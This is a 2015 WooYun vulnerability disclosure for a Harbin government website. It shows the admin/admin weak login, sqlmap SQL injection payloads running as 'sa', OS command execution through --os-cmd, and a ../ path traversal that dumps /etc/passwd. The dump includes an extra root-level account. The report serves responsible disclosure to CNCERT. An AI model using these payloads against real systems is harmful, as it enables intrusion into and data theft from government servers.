当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144053

漏洞标题:哈尔滨某政府网站多个漏洞打包

相关厂商:cncert国家互联网应急中心

漏洞作者: Force

提交时间:2015-10-07 08:41

修复时间:2015-11-26 17:56

公开时间:2015-11-26 17:56

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-07: 细节已通知厂商并且等待厂商处理中
2015-10-12: 厂商已经确认,细节仅向厂商公开
2015-10-22: 细节向核心白帽子及相关领域专家公开
2015-11-01: 细节向普通白帽子公开
2015-11-11: 细节向实习白帽子公开
2015-11-26: 细节向公众公开

简要描述:

3处严重高危漏洞,可导致服务器被攻陷

详细说明:

哎、想混点rk进社区呢,可惜上个漏洞被和谐了。这次乌云君一定要给审核通过啊,嘎嘎。

漏洞证明:

1.1. 应用系统弱口令
http://**.**.**.**:8080/ admin admin
看到的信息还不少啊。。。。0.0

1.2. 应用程序sa 注入

**.**.**.**:8080/admin/includeJSP/relatQuery.jsp?apply_sfzh=23010220110809681


Place: GET
Parameter: apply_sfzh
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: apply_sfzh=23010220110809681' UNION ALL SELECT 48, 48, 48, 48, 48,
48, CHAR(58)+CHAR(99)+CHAR(122)+CHAR(102)+CHAR(58)+CHAR(81)+CHAR(72)+CHAR(81)+CH
AR(119)+CHAR(119)+CHAR(101)+CHAR(86)+CHAR(105)+CHAR(72)+CHAR(110)+CHAR(58)+CHAR(
122)+CHAR(111)+CHAR(103)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: apply_sfzh=23010220110809681'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: apply_sfzh=23010220110809681' WAITFOR DELAY '0:0:5'--
---
[13:08:02] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[13:08:02] [INFO] fetching current user
current user: 'sa'


1.3. 数据库系统命令执行

[root@Hacker~]# Sqlmap -u "**.**.**.**:8080/admin/includeJSP/relatQuer
y.jsp?apply_sfzh=23010220110809681" --os-cmd=ipconfig


do you want to retrieve the command standard output? [Y/n/a] y
[13:09:16] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
command standard output:
---
Windows IP ????
???????????? ???????? 2:
?????????? DNS ???? . . . . . . . :
???????? IPv6 ????. . . . . . . . : fe80::d541:80e6:7680:be6a%11
IPv4 ???? . . . . . . . . . . . . : **.**.**.**
???????? . . . . . . . . . . . . : **.**.**.**
????????. . . . . . . . . . . . . : **.**.**.**
???????????? ????????:
?????????? DNS ???? . . . . . . . :
???????? IPv6 ????. . . . . . . . : fe80::ad3d:10d4:74db:ab42%10
IPv4 ???? . . . . . . . . . . . . : **.**.**.**
???????? . . . . . . . . . . . . : **.**.**.**
????????. . . . . . . . . . . . . :
?????????? ????????*:
???????? . . . . . . . . . . . . : ??????????
?????????? DNS ???? . . . . . . . :
?????????? ????????* 2:
???????? . . . . . . . . . . . . : ??????????
?????????? DNS ???? . . . . . . . :
?????????? ????????* 8:
???????? . . . . . . . . . . . . : ??????????
?????????? DNS ???? . . . . . . . :
?????????? ????????* 9:
???????? . . . . . . . . . . . . : ??????????
?????????? DNS ???? . . . . . . . :


---
1.4. 应用程序任意文件下载
**.**.**.**:8080//fileFetcherServlet?downloadName=%D6%DC%C1%FA%BA%A3%BD%E1%BB%E9%D6%A4.jpg&filePath=../../../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
games:x:12:100:Games account:/var/games:/bin/bash
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
messagebus:x:100:101:User for D-BUS:/var/run/dbus:/bin/false
haldaemon:x:101:102:User for haldaemon:/var/run/hal:/bin/false
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
news:x:9:13:News system:/etc/news:/bin/bash
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
cyrus:x:96:12:User for cyrus-imapd:/usr/lib/cyrus:/bin/bash
dhcpd:x:102:65534:DHCP server daemon:/var/lib/dhcp:/bin/false
vscan:x:65:103:Vscan account:/var/spool/amavis:/bin/false
named:x:44:44:Name server daemon:/var/lib/named:/bin/false
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
squid:x:31:65534:WWW-proxy squid:/var/cache/squid:/bin/false
ntp:x:74:104:NTP daemon:/var/lib/ntp:/bin/false
mysql:x:60:105:MySQL database admin:/var/lib/mysql:/bin/bash
mailman:x:72:67:GNU mailing list manager:/var/lib/mailman:/bin/bash
quagga:x:103:106:Quagga routing daemon:/var/run/quagga:/bin/false
gdm:x:50:107:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
suse-ncc:x:104:108:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash
ldap:x:76:70:User for OpenLDAP:/var/lib/ldap:/bin/bash
hacluster:x:90:90:heartbeat processes:/var/lib/heartbeat/cores/hacluster:/bin/false
uucps:x:0:0::/tmp:/bin/bash


测试到此为止,没有深入,赶紧修复吧


修复方案:

过滤过滤 在过滤。最好对系统进行一遍查杀。

版权声明:转载请注明来源 Force@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-12 17:54

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给黑龙江分中心,由其后续协调网站管理单位处置。

最新状态:

暂无